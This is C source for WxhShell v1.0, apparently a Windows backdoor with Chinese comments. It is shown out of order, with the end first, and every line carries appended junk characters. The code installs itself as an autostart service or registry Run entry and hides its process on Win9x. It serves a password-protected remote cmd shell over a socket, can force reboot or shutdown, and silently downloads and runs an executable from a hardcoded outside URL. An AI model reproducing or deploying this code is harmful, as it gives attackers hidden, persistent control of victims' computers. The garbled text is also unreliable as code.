    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); v!3Oq.ot  
    if(Boot(SHUTDOWN)) [ <k&]Kv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y6MkaHW[m  
    else { UDnCHGq  
    closesocket(wsh); =5YbK1Q^  
    ExitThread(0); '0&HkM{ D  
    } pigu]mj  
    break; ;M\Cw.%![  
    } TB84}  
  // 获取shell +"~*L,ken0  
  case 's': { !0):g/2h  
    CmdShell(wsh); G9K& }_,  
    closesocket(wsh); BuxU+  
    ExitThread(0); Z^mQb2e.  
    break; cHVu6I?h  
  } QXEZ?gx  
  // 退出 T| R!Aw.  
  case 'x': { mGoC8t}iP  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); G(t&(t`[  
    CloseIt(wsh); ]"j%:fr  
    break; .G"T;w 6d  
    } `R lWhdE  
  // 离开 -B-HZ_  
  case 'q': { !vHCftKel  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Y$+v "  
    closesocket(wsh); RK)ikLgp  
    WSACleanup(); XjxI@VXzUV  
    exit(1); z(>:LX"xz  
    break; V|{~9^  
        } :X7O4?ww  
  } zn|O)"C  
  } v`:!$U* H=  
6Yqqq[#V/  
  // 提示信息 %L-{4Z!"sI  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %z"$?Iv  
} RL/5 o"  
  } A v;NQt8ut  
!9j6l 0  
  return; y'JJ#7O=  
} 2&AX_#P  
ww'B!Ml>F  
// shell模块句柄 V warU(*  
int CmdShell(SOCKET sock) :z|$K^)7Z  
{  {~w!  
STARTUPINFO si; :cP u  
ZeroMemory(&si,sizeof(si)); b8$%=Xp  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E|6@h8 #  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; zNEN[  
PROCESS_INFORMATION ProcessInfo; Us>  
char cmdline[]="cmd"; =2} bQW  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); i9peQ61{  
  return 0; ax 2#XSCO  
} ";n%^I}  
;B :\e8  
// 自身启动模式 !8RJHMX&  
int StartFromService(void) ma`sv<f4-!  
{ V@1,((,l  
typedef struct ye| 2gH  
{ %fh-x(4v  
  DWORD ExitStatus; >R\@W(-g`  
  DWORD PebBaseAddress; (YYwn@NGj  
  DWORD AffinityMask; Y)M-?|4  
  DWORD BasePriority; x LK,Je  
  ULONG UniqueProcessId; a3He-76  
  ULONG InheritedFromUniqueProcessId; oL9ELtb ]s  
}   PROCESS_BASIC_INFORMATION; \PmM856=ms  
}F3}"Ik'L  
PROCNTQSIP NtQueryInformationProcess; t*c_70|@k  
| Y(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %XXjQ5p  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; obgO-d9l  
2k`Q+[?{q>  
  HANDLE             hProcess; .e5rKkkT  
  PROCESS_BASIC_INFORMATION pbi; ,JJ1sf2A  
j~hvPlho  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); hXx:D3h  
  if(NULL == hInst ) return 0; >R\!Qk  
m`@~ZIa?>B  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #Jfmt~ks '  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }5QUIK~NA  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8: VRq  
os+ ]ct  
  if (!NtQueryInformationProcess) return 0; O*Z -3 l  
}O6E5YCm  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); q6P5:@  
  if(!hProcess) return 0; * a VT  
!@ )JqF.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; qqu ]r  
z,SNJIsx  
  CloseHandle(hProcess); m;u:_4  
Z$K[e  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <I2~>x5db  
if(hProcess==NULL) return 0; nA+gqY6 6|  
qwd T= H  
HMODULE hMod; "s\himoa  
char procName[255]; nTz( {q  
unsigned long cbNeeded; W!a'KI'  
[iN\R+:  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); tLGNYW!K  
|b|bL 7nx  
  CloseHandle(hProcess); 3u= >Y^wu  
c+UZ UgP  
if(strstr(procName,"services")) return 1; // 以服务启动 n<>]7-  
F'njtrO3  
  return 0; // 注册表启动 <!~NG3KW[>  
} I$I',x5Z  
#:[CF:  
// 主模块 F^7qr  
int StartWxhshell(LPSTR lpCmdLine) q&: t$tSS  
{ C)ebZ3  
  SOCKET wsl; 51!#m|  
BOOL val=TRUE; ,)t/1oQ}>^  
  int port=0; WL<f!   
  struct sockaddr_in door; Bvz& p)(  
bHmn0fZ9  
  if(wscfg.ws_autoins) Install(); _RG2I)P  
hKN/&P^  
port=atoi(lpCmdLine); #lx(F3  
2?c%<_jPA  
if(port<=0) port=wscfg.ws_port; 6b h.5|  
]"U/3dL5  
  WSADATA data; [vcSt5R=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?4lEHef  
m%i!;K"{s  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ZrDr/Q~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Ny 7vId  
  door.sin_family = AF_INET; O29GPs  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ZG_iF#  
  door.sin_port = htons(port); Q%_MO`<]$  
Wvwjj~HP2}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { W^1)70<y  
closesocket(wsl); {tF)%>\#  
return 1; v'u}%FC  
} =~{W;VZt'  
$WZHkV  
  if(listen(wsl,2) == INVALID_SOCKET) { -|/*S]6kK  
closesocket(wsl); ]0myoWpi3  
return 1; Cg%}=  
} DV jsz  
  Wxhshell(wsl); >S HW  
  WSACleanup(); #:} mi;{  
RRR=R]  
return 0; 2I1CKA:7g  
P<IZ%eS3B  
} ?bl9e&/!  
Eilo;-El  
// 以NT服务方式启动 .jbT+hhM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5Q@4@b{C  
{ r[RO"Ej"  
DWORD   status = 0; 8jfEvwY  
  DWORD   specificError = 0xfffffff; t$b{zv9C  
R ;3!?`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; m7m)BX%O  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; c:_dW;MJ0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; d0N/!;  
  serviceStatus.dwWin32ExitCode     = 0; hZeF? G)L'  
  serviceStatus.dwServiceSpecificExitCode = 0; XQ$9E?|=  
  serviceStatus.dwCheckPoint       = 0; NIxtT>[+3  
  serviceStatus.dwWaitHint       = 0; 8Z(\iZ5Rgj  
Zi ;7.PqL  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -Oc  
  if (hServiceStatusHandle==0) return; %vjfAdC  
"0Yb 2>F  
status = GetLastError(); *Au[{sR  
  if (status!=NO_ERROR) )VFS&|#\  
{ \xexl1_;  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; gL6.,4q+1  
    serviceStatus.dwCheckPoint       = 0; x_.}C%  
    serviceStatus.dwWaitHint       = 0; ]`_eaW?Ua  
    serviceStatus.dwWin32ExitCode     = status; BMovl4*5  
    serviceStatus.dwServiceSpecificExitCode = specificError; E sx`UG|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); +"Mlj$O  
    return; %3 VToj@`>  
  } 2+qU9[kd|  
ETtoY<`#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; u4.2u}A/R%  
  serviceStatus.dwCheckPoint       = 0; v!%VH?cA8  
  serviceStatus.dwWaitHint       = 0; QVPJ$~x  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); TWT h!  
} }-15^2  
4#2iq@s  
// 处理NT服务事件,比如:启动、停止 "BD$-]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) yDXW#q  
{ WS1$cAD2N  
switch(fdwControl) PBp+(o-  
{ QN OA66  
case SERVICE_CONTROL_STOP: &(,-:"{pNR  
  serviceStatus.dwWin32ExitCode = 0; m00 5*>IY  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; TrmrA$5f  
  serviceStatus.dwCheckPoint   = 0; R:t  
  serviceStatus.dwWaitHint     = 0; ~ U`|+ 5  
  { 73>Hzpv0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); anxwK47  
  } LCkaSv/[RB  
  return; N2e]S8-  
case SERVICE_CONTROL_PAUSE: +IPMI#n  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; eCXw8  
  break; /F7X"_(H  
case SERVICE_CONTROL_CONTINUE: 6V6,m4e  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; tboc7Hor4  
  break; >'|Wrz67Z  
case SERVICE_CONTROL_INTERROGATE: s.9_/cFWB  
  break; T +~ _D  
}; cHk ?$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kCZxv"Ts  
} 6T ,'Oz  
S7 WT`2  
// 标准应用程序主函数 =X}s^KbI{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) mZ}C)&,m2  
{ #CTHCwYo  
n>i}O!agg  
// 获取操作系统版本 Q9NKQuSu  
OsIsNt=GetOsVer(); nZ8f}R!f:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); { K *  
qhqqCVrsW  
  // 从命令行安装 )w'GnUqWz  
  if(strpbrk(lpCmdLine,"iI")) Install(); i.G"21M  
BhCOT+i;c  
  // 下载执行文件 mr\C  
if(wscfg.ws_downexe) { eL{6;.C  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Z }s56{!.  
  WinExec(wscfg.ws_filenam,SW_HIDE); z{ MO~d9  
} Rg6/6/ IN  
W@FRKDixG  
if(!OsIsNt) { (YKkJ  
// 如果时win9x,隐藏进程并且设置为注册表启动 >^ijj`{d  
HideProc(); YH/3N(],  
StartWxhshell(lpCmdLine); A~%h*nZc%I  
} uhO-0H  
else JPGEE1!B{b  
  if(StartFromService()) Yo;Mexo!  
  // 以服务方式启动 c&;Xjy  
  StartServiceCtrlDispatcher(DispatchTable); @w{"6xc%a  
else wwVg'V;  
  // 普通方式启动 "Iwd-#;$;  
  StartWxhshell(lpCmdLine); v JPX`T|  
VSW"/{Lp  
return 0; * J|]E(  
} {u{8QKeC  
-G@:uxB  
GG$&=.$  
odNHyJS0  
=========================================== CGY,I UG  
E{W(5.kb;i  
j^qI~|#  
Y4)v>&H  
tX 3y{W10"  
`(Ij@8 4  
" 1./iF>*A  
&L`yX/N2  
#include <stdio.h> i $W E1-  
#include <string.h> L qdz qq  
#include <windows.h> c?XqSK`',Z  
#include <winsock2.h> 4oywP^I  
#include <winsvc.h> -VPda @@w  
#include <urlmon.h> gPz p/I  
F|&=\Q  
#pragma comment (lib, "Ws2_32.lib") Bn?MlG;aA  
#pragma comment (lib, "urlmon.lib") 7$j O3J  
9G"-~C"e3  
#define MAX_USER   100 // 最大客户端连接数 #;~dA  
#define BUF_SOCK   200 // sock buffer f+W8Gszi  
#define KEY_BUFF   255 // 输入 buffer aT`. e  
W9%B9~\G;+  
#define REBOOT     0   // 重启 PHHX)xK  
#define SHUTDOWN   1   // 关机 j3yz"-53e  
}}MZgm~U)  
#define DEF_PORT   5000 // 监听端口 @!:_r5R~N  
\jGvom.  
#define REG_LEN     16   // 注册表键长度 @#W$7Gwf0  
#define SVC_LEN     80   // NT服务名长度 PP_fTacX  
1?N$I}?  
// 从dll定义API IQA<xqX   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); T_1p1Sg  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ZFO*D79:K  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); J0a#QvX!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 'p:L"L}Q?  
h&$,mbEoI  
// wxhshell配置信息 oYNp0Hc  
struct WSCFG { >h<bYk"9Q  
  int ws_port;         // 监听端口 @!zT+W&  
  char ws_passstr[REG_LEN]; // 口令 _mSQ>BBRl  
  int ws_autoins;       // 安装标记, 1=yes 0=no EU@XLm6  
  char ws_regname[REG_LEN]; // 注册表键名 dgsD~.((A  
  char ws_svcname[REG_LEN]; // 服务名 |`i.8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  }j /r  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6q]`??g.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #ZS8}X*S  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ZUxlk+o9d  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ":upo/xN  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 | *J-9  
UZq1qn@+  
}; maopr$r  
v'zj<|2  
// default Wxhshell configuration ,) JSX o  
struct WSCFG wscfg={DEF_PORT, bu|ecv  
    "xuhuanlingzhe", LUjev\Re  
    1, baVSQtda  
    "Wxhshell", 7 /$s!pV  
    "Wxhshell", !j|93*  
            "WxhShell Service", P Zc{wbjp&  
    "Wrsky Windows CmdShell Service", @JL+xfz  
    "Please Input Your Password: ", :*wjC.Z  
  1, /P-Eg86V'  
  "http://www.wrsky.com/wxhshell.exe", Cw_XLMY%V1  
  "Wxhshell.exe" U'tfsf/V  
    }; ]2Q:&T  
&@MiR8  
// 消息定义模块 F]SA1ry  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; L--(Y+vmf  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :W\xZ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; mtON dI  
char *msg_ws_ext="\n\rExit."; i@C$O.m(  
char *msg_ws_end="\n\rQuit."; _@47h86 Q  
char *msg_ws_boot="\n\rReboot..."; =(~UK9`  
char *msg_ws_poff="\n\rShutdown..."; 5z>kz/uxW  
char *msg_ws_down="\n\rSave to "; =tv,B3Mo  
YIQm;E EG  
char *msg_ws_err="\n\rErr!"; {G D<s))  
char *msg_ws_ok="\n\rOK!"; =+qtk(p  
u0@i3Po  
char ExeFile[MAX_PATH]; =a<};X  
int nUser = 0; .kO;9z\B  
HANDLE handles[MAX_USER]; U Ux]  
int OsIsNt; WYb\vm =r  
KnC;j-j  
SERVICE_STATUS       serviceStatus; `KgWaf-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }!i#1uHUH:  
ORV~F0d<  
// 函数声明 hZ0CnY8 '  
int Install(void); 7X$[E*kd  
int Uninstall(void); AAr[xo iYp  
int DownloadFile(char *sURL, SOCKET wsh); 5;5DEMe  
int Boot(int flag); }T?0/N3y&  
void HideProc(void); cVt MCgx  
int GetOsVer(void); 3K/32Wi  
int Wxhshell(SOCKET wsl); v: Av 2y  
void TalkWithClient(void *cs); @,<@y>m7  
int CmdShell(SOCKET sock); $ spk.j  
int StartFromService(void); !Aw.)<teW  
int StartWxhshell(LPSTR lpCmdLine); iu QMVtv  
2I{kLN1TY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +O@|bd \  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); WT:ZT$W  
#pk  
// 数据结构和表定义 "f>`ZFp^  
SERVICE_TABLE_ENTRY DispatchTable[] = cN?}s0  
{ CyHaFUbZ  
{wscfg.ws_svcname, NTServiceMain}, neLQ>WT L  
{NULL, NULL} KscugX*x  
}; eH0^d5bH  
;z Qrree#  
// 自我安装 mdNIC  
int Install(void) 6Fe$'TP  
{ UG~/   
  char svExeFile[MAX_PATH]; <3SO1@?  
  HKEY key; K{vn[}  
  strcpy(svExeFile,ExeFile); #a$k3C  
}Dc7'GZ  
// 如果是win9x系统,修改注册表设为自启动 eBN!!Y:7  
if(!OsIsNt) { =Z(_lLNmh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uE;bNs'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); eX 0due  
  RegCloseKey(key); R?D c*,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { izvwXC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l5/!0]/  
  RegCloseKey(key); C1M @;  
  return 0; >[qoNy;  
    } GKg&lM!O$  
  } x^959QO~  
} ^C|N  
else { /=i+7^  
{gkY:$xnrG  
// 如果是NT以上系统,安装为系统服务 Lk>GEi|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); F, 39'<N[  
if (schSCManager!=0) IE0hC\C}  
{ H[e=^JuD  
  SC_HANDLE schService = CreateService n#dvBK0M  
  (  Qk)E:  
  schSCManager, Qw@_.I  
  wscfg.ws_svcname, mE)I(< %  
  wscfg.ws_svcdisp, ej;\a:JL  
  SERVICE_ALL_ACCESS, +>BD^[^^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5<RZ ht$i  
  SERVICE_AUTO_START, aBblP8)8;K  
  SERVICE_ERROR_NORMAL, R\MFh!6sn  
  svExeFile, JO=kfWW  
  NULL, Fs 95^T  
  NULL, mNDd>4%H_  
  NULL, wticA#mb  
  NULL, p O O4fc  
  NULL T:|PSJc0  
  ); g?1! /+  
  if (schService!=0) #k/NS  
  { L >HyBB  
  CloseServiceHandle(schService); tvEf-z  
  CloseServiceHandle(schSCManager); hTS?+l  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); KwxO%/-}S  
  strcat(svExeFile,wscfg.ws_svcname); Ra-%,cS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |<Rf^"T  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); c-" .VF  
  RegCloseKey(key); T~G~M/  
  return 0; qP4vH]  
    } %VsIg  
  } tjWf`#tH>H  
  CloseServiceHandle(schSCManager); < /\y<]b  
} 6JUjT]S%  
} h$U(1B  
grbUR)f<?-  
return 1; )|Md"r_B  
} \ QE?.Fx  
/5&' U!:+  
// 自我卸载 96]!*}  
int Uninstall(void) Z+M* z;  
{ wu`P=-  
  HKEY key; `44 }kkBT  
m6iQB\ \  
if(!OsIsNt) { {OGv1\ol&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Qk#`e  
  RegDeleteValue(key,wscfg.ws_regname); m0[JiwPI  
  RegCloseKey(key); aPH6R<G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *c{X\!YBh  
  RegDeleteValue(key,wscfg.ws_regname); E@N& Y1t  
  RegCloseKey(key); ,#blY~h8^  
  return 0; K'u66%wAL  
  } ZMn~QU_5  
} )a0%62  
} :I/i"g7<  
else { (n {,R  
Y2 QX9RN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Bq*aP*jv  
if (schSCManager!=0) &vHfuM`  
{ >xK!J?!K  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;:#g\|(<+  
  if (schService!=0) |a{~Imz{  
  { C)v*L#{%  
  if(DeleteService(schService)!=0) { ML-?#jNa<  
  CloseServiceHandle(schService); ai@hQJ*  
  CloseServiceHandle(schSCManager); Y>i5ubR~  
  return 0; Yfjp:hg/!  
  } d@#wK~I  
  CloseServiceHandle(schService); FdFN4{<QZ  
  } ^Z`?mNq9  
  CloseServiceHandle(schSCManager); Uh=@8v  
} JVawWw0q  
} 4 /Q4sE~<  
29~Bu5  
return 1; w$%1j+%&  
} ~ u',Way  
jt,dr3|/n  
// 从指定url下载文件 #[ZNiaWT  
int DownloadFile(char *sURL, SOCKET wsh) 6 ~LCj"  
{ 2B`#c}PP  
  HRESULT hr; R!2oj_  
char seps[]= "/"; 22_%u=p-|  
char *token; {IR-g,B  
char *file;  V9cKl[  
char myURL[MAX_PATH]; GiGXV @dq  
char myFILE[MAX_PATH]; 3qNLosm#M  
^j>w<ljzz  
strcpy(myURL,sURL); qr|v|Ejd~  
  token=strtok(myURL,seps); 5*P+c(=  
  while(token!=NULL) uFl19  
  { Yp(F}<f?  
    file=token; Yv ZcG3@c3  
  token=strtok(NULL,seps); m2h@*  
  } T**v!Ls  
6(as.U>K  
GetCurrentDirectory(MAX_PATH,myFILE); Z:3SI$tO  
strcat(myFILE, "\\"); io^ L[  
strcat(myFILE, file); (m%A>e B  
  send(wsh,myFILE,strlen(myFILE),0); M*n@djL$\~  
send(wsh,"...",3,0); ;.EW7`)Z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #'lqE)T  
  if(hr==S_OK) hiBZZ+^[  
return 0; guc[du  
else j,@@[{tu  
return 1; D_2~ 6  
!gbPxfH:6  
} v62O+{  
Z?"f#  
// 系统电源模块 <A+n[h  
int Boot(int flag) !eE;MaS>  
{ %f'mW2  
  HANDLE hToken; i0/RvrLc  
  TOKEN_PRIVILEGES tkp; 1 |T{RY5  
y Nc"E  
  if(OsIsNt) { CMyz!jZ3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >^IUS8v  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +~* e B  
    tkp.PrivilegeCount = 1; XL9-N?(@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; J qmL|S)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  4CtWEq  
if(flag==REBOOT) { 7G7"Zule*j  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2<@g *  
  return 0; Z$r7Hi  
} :6Tv4ZUvcG  
else { eKLE^`2*@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4?+jvVq  
  return 0; =(Y0wZP|  
} )/Gi-::  
  } CJDNS21m  
  else { mxu!$wx  
if(flag==REBOOT) { j,SZJ{ebXg  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) V6h8+|hK  
  return 0; ]"?<y s  
} /{/mwS"W  
else { T\ukJ25!  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) G1*,~1i  
  return 0; 8H T3C\$s  
} 3lEP:Jp  
} RTDplv; ]  
i2;,\FI@t%  
return 1; XX "3.zW  
} :h/v"2uDN  
]0SqLe  
// win9x进程隐藏模块 +EqL|  
void HideProc(void) J\p-5[E  
{ Y*O Bky  
_meW9)B  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); baL<|& c  
  if ( hKernel != NULL ) HD1/1?y!@q  
  { ?Iij[CbU  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *UXa.kT@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); R~|(]#com  
    FreeLibrary(hKernel); e**'[3Y  
  } +x/vZXtOK  
wehiX7y  
return; DRTT3;,N  
} _34%St!lg  
T|j=,2_  
// 获取操作系统版本 4x?I,cAN  
int GetOsVer(void) SQ]M"&\{y  
{ j~>J?w9<O  
  OSVERSIONINFO winfo; Y=O-^fL  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }W[=O:p  
  GetVersionEx(&winfo); + Okw+v  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) AAKc8 {  
  return 1; }<w9Jfr"X  
  else \OWxf[  
  return 0; ,^<39ng  
} IG2z3(j  
"(kiMo g-  
// 客户端句柄模块 $2blF)uYE  
int Wxhshell(SOCKET wsl) /F''4%S?E  
{ ^P A|RFP  
  SOCKET wsh; L `=*Pwcj  
  struct sockaddr_in client; UlKg2p  
  DWORD myID; 5B8fz;l= B  
] \!,yiVeU  
  while(nUser<MAX_USER) [a}Idi` K  
{ D$rn?@&g  
  int nSize=sizeof(client); /OMgj7olD  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $BB^xJ\O  
  if(wsh==INVALID_SOCKET) return 1; n!lE|if  
i=pfjC  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ljz=u;O)  
if(handles[nUser]==0) TC@F*B;  
  closesocket(wsh); :O?3lj)  
else 3O _O5  
  nUser++; ]gF=I5jn]  
  } }g|9P SbJ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 'P4V_VMK  
/'_Yct=  
  return 0; A_2lG!! 6  
} YhooD,[.  
>fkV65w{*  
// 关闭 socket ' dv(  
void CloseIt(SOCKET wsh) a"Ly9ovW  
{ $"}*#<Z  
closesocket(wsh); I?%#`Rvu  
nUser--; fi&>;0?7  
ExitThread(0); ,W/Y@ScC  
} AI,E9  
b.}J'?yLm  
// 客户端请求句柄 I).eQ8:  
void TalkWithClient(void *cs) qDfhR`1k  
{ r?pFc3 ~N  
) :Px`] 5  
  SOCKET wsh=(SOCKET)cs; ~(`MP<  
  char pwd[SVC_LEN]; Imyw-8/;  
  char cmd[KEY_BUFF]; nf:wJ-;*  
char chr[1]; :x^e T  
int i,j; J%!vhQ  
}?O>.W,/  
  while (nUser < MAX_USER) { C*t0`3g d  
/N./l4D1K-  
if(wscfg.ws_passstr) { 55,2eg#{O  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zY-?Bv_D  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); aqQ  U7  
  //ZeroMemory(pwd,KEY_BUFF); o0dD  
      i=0; Q#&6J=}  
  while(i<SVC_LEN) { $`lGPi(Jc  
KmqgP`Cu  
  // 设置超时 , 0?_? GO  
  fd_set FdRead; /L2.7`5  
  struct timeval TimeOut; t+,2 p|B  
  FD_ZERO(&FdRead); y"K[#&,0  
  FD_SET(wsh,&FdRead); DV*e.Y>  
  TimeOut.tv_sec=8; zqRps8=  
  TimeOut.tv_usec=0; SWT)M1O2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ogV v 8Xb  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Sg\+al7  
;D%H}+Z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gXY]NWI  
  pwd=chr[0]; U_UN& /f  
  if(chr[0]==0xd || chr[0]==0xa) { zOy_qozk  
  pwd=0; 20:![/7:!  
  break; bY~V?yNgKM  
  } {T0Au{88H  
  i++; H5CL0#I  
    } { / ,?3  
ITz+O=I4R]  
  // 如果是非法用户,关闭 socket {Z>Mnw"R  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); i\#?M  "  
} 3]7j, 1^  
X2YBZA  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \GK]6VW  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F8\JL %  
FyChH7  
while(1) { tK 6=F63e  
hANe$10=H  
  ZeroMemory(cmd,KEY_BUFF); E0u&hBd3_  
R\x3'([A5  
      // 自动支持客户端 telnet标准   f$--y|=  
  j=0; XXXQAY-,C  
  while(j<KEY_BUFF) { Sh:_YD^(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "}S6a?]V  
  cmd[j]=chr[0]; 0Ld"df*  
  if(chr[0]==0xa || chr[0]==0xd) { \86NV="U  
  cmd[j]=0; (Dx p  
  break; vLGnLpt  
  } F><ficT  
  j++; NFqGbA|  
    } h" f_T [  
1=PTiDMJ<*  
  // 下载文件 WfYG#!}x  
  if(strstr(cmd,"http://")) { h&rZR`g  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  k =O  
  if(DownloadFile(cmd,wsh)) YhP+{Y8t  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); q RRvZhf  
  else b&9~F6aM  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z:&/O&?  
  } wEQZ9?\  
  else { FB %-$  
Zh`[A9I/  
    switch(cmd[0]) { ?. Ip(g  
  '1~;^rU  
